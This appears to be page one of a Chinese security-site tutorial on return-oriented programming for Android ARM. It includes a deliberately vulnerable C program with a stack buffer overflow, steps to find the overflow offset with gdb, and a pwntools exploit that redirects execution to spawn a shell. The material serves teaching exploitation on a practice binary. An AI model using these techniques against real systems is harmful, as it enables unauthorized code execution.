欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

一步一步学ROP之Android ARM 32位篇

来源:本站整理 作者:佚名 时间:2015-12-17 TAG: 我要投稿

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。之前我们主要讨论了linux上的在这次的教程中我们会带来arm上rop利用的技术,欢迎大家继续学习。
另外文中涉及代码可在我的github下载:https://github.com/zhengmin1989/ROP_STEP_BY_STEP
0x01 ARM上的Buffer Overflow
作为一个程序员我们的目标是要会写所有语言的”hello world”。同样的,作为一个安全工程师,我们的目标是会exploit掉所有语言的buffer overflow。:)因为buffer overflow实在是太经典了,所以我们的arm篇也是从buffer overflow开始。
首先来看第一个程序 level6.c:
#include
#include
#include
 
void callsystem()
{
system("/system/bin/sh");
}
 
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
 
int main(int argc, char** argv) {
if (argc==2&&strcmp("passwd",argv[1])==0)
callsystem();
write(STDOUT_FILENO, "Hello, World\n", 13);   
vulnerable_function();
}
我们的目标是在不使用密码的情况下,获取到shell。为了减少难度,我们先将stack canary去掉(在JNI目录下建立Application.mk并加入APP_CFLAGS += -fno-stack-protector)。随后用ndk-build进行编译。然后将level6文件拷贝到"/data/local/tmp"目录下。接下来我们把这个目标程序作为一个服务绑定到服务器的某个端口上,这里我们可以使用socat这个工具来完成。最后我们再做一个端口转发,准备工作就算完成了。基本命令如下:
ndk-build
adb push libs/armeabi/level6 /data/local/tmp/
adb shell
cd /data/local/tmp/
./socat TCP4-LISTEN:10001,fork EXEC:./level6
adb forward tcp:10001 tcp:10001
现在我们尝试连接一下:
$ nc 127.0.0.1 10001
Hello, World
发现工作正常。OK,那么我们开始进行BOF吧。
和之前的x86一样,我们先用pattern.py来确定溢出点的位置。我们用命令:
python pattern.py create 150
来生成一串测试用的150个字节的字符串:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
然后我们写一个py脚本来发送这串数据。
#!/usr/bin/env python
from pwn import *
 
#p = process('./level6')
p = remote('127.0.0.1',10001)
 
p.recvuntil('\n')
 
raw_input()
 
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9"
 
p.send(payload)
 
p.interactive()
但因为我们需要获取崩溃时pc的值,所以在发送数据前,我们先使用gdb加载上level6。
我们先在电脑上运行python脚本:
[pc]$ python test.py
[+] Opening connection to 127.0.0.1 on port 10001: Done

然后在adb shell中用ps获取level6的pid,然后再挂载level6,然后用c继续:
[adb]# ./gdb --pid=4895
 
GNU gdb 6.7
Copyright (C) 2007 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later //gnu.org/licenses/gpl.html>
……
Loaded symbols for /system/lib/libm.so
0xb6eff268 in read () from /system/lib/libc.so
(gdb) c
Continuing.
然后我们再在电脑上输入回车,让脚本发送数据。然后我们就能够在gdb里看到崩溃的pc的值了:
Program received signal SIGSEGV, Segmentation fault.
0x41346540 in ?? ()
(gdb)
因为我们编译的level6默认是thumb模式,所以我们要在这个崩溃的地址上加个1:0x41346540+1 = 0x41346541。然后用pattern.py计算一下溢出点的位置:
$ python pattern.py offset 0x41346541
hex pattern decoded as: Ae4A
132
OK,我们知道了溢出点的位置,接下来我们找一下返回的地址。其实利用的代码在程序中已经有了。我们只要将pc指向callsystem()这个函数地址即可。我们在ida中可以看到地址为0x00008554:

因为callsystem()被编译成了thumb指令,所以我们需要将地址+1,让pc知道这里的代码为thumb指令,最终exp如下:
#!/usr/bin/env python
from pwn import *
 
#p = process('./level6')
p = remote('127.0.0.1',10001)
 
p.recvuntil('\n')
 
callsystemaddr = 0x00008554 + 1
payload =  'A'*132 + p32(callsystemaddr)
 
p.send(payload)
 
p.interactive()
执行效果如下:
$ python level6.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ /system/bin/id
uid=0(root) gid=0(root) context=u:r:shell:s0
0x02 寻找thumb gadgets
下面我们来看第二个程序level7.c:
#include
#include
#include
 
char *str="/system/bin/sh";
 
void callsystem()
{
system("id");
}
 
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);

[1] [2] [3] [4] [5]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载